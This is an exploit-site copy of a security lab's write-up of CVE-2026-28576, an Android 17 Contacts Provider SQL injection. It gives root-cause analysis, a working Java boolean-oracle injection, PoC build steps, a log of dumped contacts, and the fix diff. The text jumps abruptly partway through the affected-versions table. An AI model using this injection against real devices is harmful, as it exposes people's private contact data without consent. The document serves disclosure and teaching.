## https://sploitus.com/exploit?id=DD705453-B047-5D89-9DB9-675F5BE406A3
# CVE-2026-28576: SQL Injection in the Android Contacts Provider
**One picked contact, every contact: a targetSdk compat gate turns a single-contact picker grant into a full contacts database dump.**
Android 17 hardened the Contacts Provider against SQL injection with `setStrictColumns()` / `setStrictGrammar()` β but shipped the hardening behind a targetSdk-gated compat change (`ENFORCE_STRICT_SQL_CHECKS`, id `484953293`, `enableAfterTargetSdk="36"`). Any app targeting SDK 36 or lower silently skips the strict checks, and can hide boolean-oracle subqueries in the query `selection` to read the entire contacts database through a single-contact URI grant. No `READ_CONTACTS`, no permissions at all.
> **Note:** We did not discover this vulnerability. This repository contains our independent **analysis, reproduction, and educational PoC** to help the security community understand the bug class: security fixes gated behind `@EnabledAfter(targetSdkVersion)` leave every legacy-target app on the vulnerable path.
| | |
|---|---|
| **CVE** | CVE-2026-28576 ([GHSA-ph86-9mcx-3p6r](https://github.com/advisories/GHSA-ph86-9mcx-3p6r)) |
| **Severity** | High in the bulletin; GitHub's advisory scores it CVSS v4 10.0 (Critical) β arguably high given the preconditions |
| **Component** | Contacts Provider (`ContactsProvider2.queryLocal()`) |
| **Root Cause** | `ENFORCE_STRICT_SQL_CHECKS` compat change gated behind `@EnabledAfter(BAKLAVA)` |
| **Impact** | Any app with a single-contact URI grant reads the entire contacts database without `READ_CONTACTS` |
| **Affected** | Android 17, security patch level 0`) and the one contact it is legitimately allowed to see.
3. Tap **"2) Exploit: read ALL contacts"** β the boolean-oracle injection dumps every name, phone number, and email in the database (~10 s for 9 rows).
### Option 2: Build from source
Requires Android SDK (build-tools `36.0.0`, platform `android-37.0`) and a JDK 17. No gradle needed:
```bash
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, NO permissions)
```
## How It Works
1. **The grant layer works fine.** Android 17's contact picker hands the app a read-only URI grant for exactly one contact: `content://com.android.contacts/contacts/lookup//1`. Directly querying anything else is refused with a `SecurityException`.
2. **The SQL layer does not.** Because the PoC targets SDK 36, `CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid)` returns false and the provider skips `setStrictColumns()` / `setStrictGrammar()`. The always-on `setStrict(true)` parenthesis-wrapping only stops clause breakouts like `') OR 1=1 --`; it does nothing about balanced subqueries.
3. **Boolean-oracle injection.** The app issues an ordinary-looking query against its granted URI with a subquery hidden in the selection:
```java
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
```
If the guessed character matches, the granted row comes back (`cursor.getCount() == 1`); otherwise the cursor is empty. One query per character guess, iterated over `LIMIT 1 OFFSET k` for every row and mimetype β a phone number falls in under a second, and the whole database in well under a minute.
### Result
On a vulnerable Android 17 build, the zero-permission app exfiltrates all names, phone numbers, and emails through a grant for a single contact (see `evidence-picker-run.log`):
```
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim Β· Bob Manager Β· Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 Β· +1-555-777-0002 Β· +1-555-999-0003
EXFILTRATED email #1..3: alice.victim@corp.example Β· ...
```
## How It Was Fixed
The fix flips change `484953293` to apply to all callers regardless of targetSdk β a single deleted annotation (public variant: [GrapheneOS commit c4129a1c](https://github.com/GrapheneOS/platform_packages_providers_ContactsProvider/commit/c4129a1c210f)):
```diff
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
```
You can reproduce the exact patched behavior on a vulnerable build without flashing anything:
```bash
adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT
```
See `evidence-patched-run.log`.
## References
- [Blog post: full analysis, PoC walkthrough, and demo video](https://www.mobilehackinglab.com/blog/cve-2026-28576-contacts-provider-sqli)
- [Android 17 Security Bulletin](https://source.android.com/docs/security/bulletin/android-17)
- [CVE-2026-28576 β NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-28576)
- [GHSA-ph86-9mcx-3p6r β GitHub Advisory Database](https://github.com/advisories/GHSA-ph86-9mcx-3p6r)
- [GrapheneOS fix commit](https://github.com/GrapheneOS/platform_packages_providers_ContactsProvider/commit/c4129a1c210f)
- [SQLiteQueryBuilder.setStrictGrammar() β Android SDK reference](https://developer.android.com/reference/android/database/sqlite/SQLiteQueryBuilder#setStrictGrammar(boolean))
## Credits
Analysis and PoC by [Mobile Hacking Lab](https://www.mobilehackinglab.com). We reproduced this vulnerability independently for educational purposes.
## Disclaimer
This proof of concept is provided for **educational and authorized security research purposes only**. Only use it on devices and environments you own or have explicit permission to test. The authors are not responsible for any misuse.